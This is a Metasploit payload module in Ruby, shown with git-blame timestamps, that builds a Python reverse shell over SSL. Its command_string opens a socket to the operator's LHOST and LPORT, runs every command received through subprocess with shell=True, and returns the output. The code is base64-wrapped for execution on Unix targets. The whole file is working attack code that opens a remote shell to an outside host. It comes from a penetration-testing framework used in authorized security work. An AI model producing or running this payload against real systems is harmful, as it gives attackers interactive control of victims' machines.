2013-02-03 14:59:15 -05:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 13:50:46 -05:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2013-02-03 14:59:15 -05:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
2016-03-08 14:02:44 +01:00
|
|
|
module MetasploitModule
|
2013-02-03 14:59:15 -05:00
|
|
|
|
2022-11-05 15:58:10 -04:00
|
|
|
CachedSize = :dynamic
|
2015-03-09 15:31:04 -05:00
|
|
|
|
2013-02-03 14:59:15 -05:00
|
|
|
include Msf::Payload::Single
|
2020-04-16 13:36:14 -04:00
|
|
|
include Msf::Payload::Python
|
2013-02-03 14:59:15 -05:00
|
|
|
include Msf::Sessions::CommandShellOptions
|
|
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
|
super(merge_info(info,
|
2022-11-22 05:49:48 -05:00
|
|
|
'Name' => 'Unix Command Shell, Reverse TCP SSL (via python)',
|
|
|
|
|
'Description' => 'Creates an interactive shell via python, uses SSL, encodes with base64 by design.',
|
|
|
|
|
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
|
|
|
|
|
'License' => BSD_LICENSE,
|
|
|
|
|
'Platform' => 'unix',
|
|
|
|
|
'Arch' => ARCH_CMD,
|
|
|
|
|
'Handler' => Msf::Handler::ReverseTcpSsl,
|
|
|
|
|
'Session' => Msf::Sessions::CommandShell,
|
|
|
|
|
'PayloadType' => 'cmd',
|
|
|
|
|
'RequiredCmd' => 'python',
|
|
|
|
|
'Payload' =>
|
|
|
|
|
{
|
|
|
|
|
'Offsets' => { },
|
|
|
|
|
'Payload' => ''
|
|
|
|
|
}
|
|
|
|
|
))
|
|
|
|
|
register_advanced_options(
|
|
|
|
|
[
|
|
|
|
|
OptString.new('PythonPath', [true, 'The path to the Python executable', 'python'])
|
|
|
|
|
]
|
|
|
|
|
)
|
2013-02-03 14:59:15 -05:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
|
# Constructs the payload
|
|
|
|
|
#
|
2022-11-04 00:33:03 +00:00
|
|
|
def generate(_opts = {})
|
2013-02-03 14:59:15 -05:00
|
|
|
vprint_good(command_string)
|
|
|
|
|
return super + command_string
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
|
# Returns the command string to use for execution
|
|
|
|
|
#
|
|
|
|
|
def command_string
|
|
|
|
|
cmd = ''
|
|
|
|
|
dead = Rex::Text.rand_text_alpha(2)
|
|
|
|
|
# Set up the socket
|
|
|
|
|
cmd += "import socket,subprocess,os,ssl\n"
|
|
|
|
|
cmd += "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n"
|
|
|
|
|
cmd += "so.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n"
|
|
|
|
|
cmd += "s=ssl.wrap_socket(so)\n"
|
|
|
|
|
# The actual IO
|
|
|
|
|
cmd += "#{dead}=False\n"
|
|
|
|
|
cmd += "while not #{dead}:\n"
|
|
|
|
|
cmd += "\tdata=s.recv(1024)\n"
|
|
|
|
|
cmd += "\tif len(data)==0:\n\t\t#{dead} = True\n"
|
2023-06-08 06:44:37 +05:30
|
|
|
cmd += "\tproc=subprocess.Popen(data.decode('utf-8'),shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)\n"
|
2013-02-03 14:59:15 -05:00
|
|
|
cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n"
|
|
|
|
|
cmd += "\ts.send(stdout_value)\n"
|
2022-11-22 05:49:48 -05:00
|
|
|
"#{datastore['PythonPath']} -c \"#{ py_create_exec_stub(cmd) }\""
|
2013-02-03 14:59:15 -05:00
|
|
|
end
|
|
|
|
|
end
|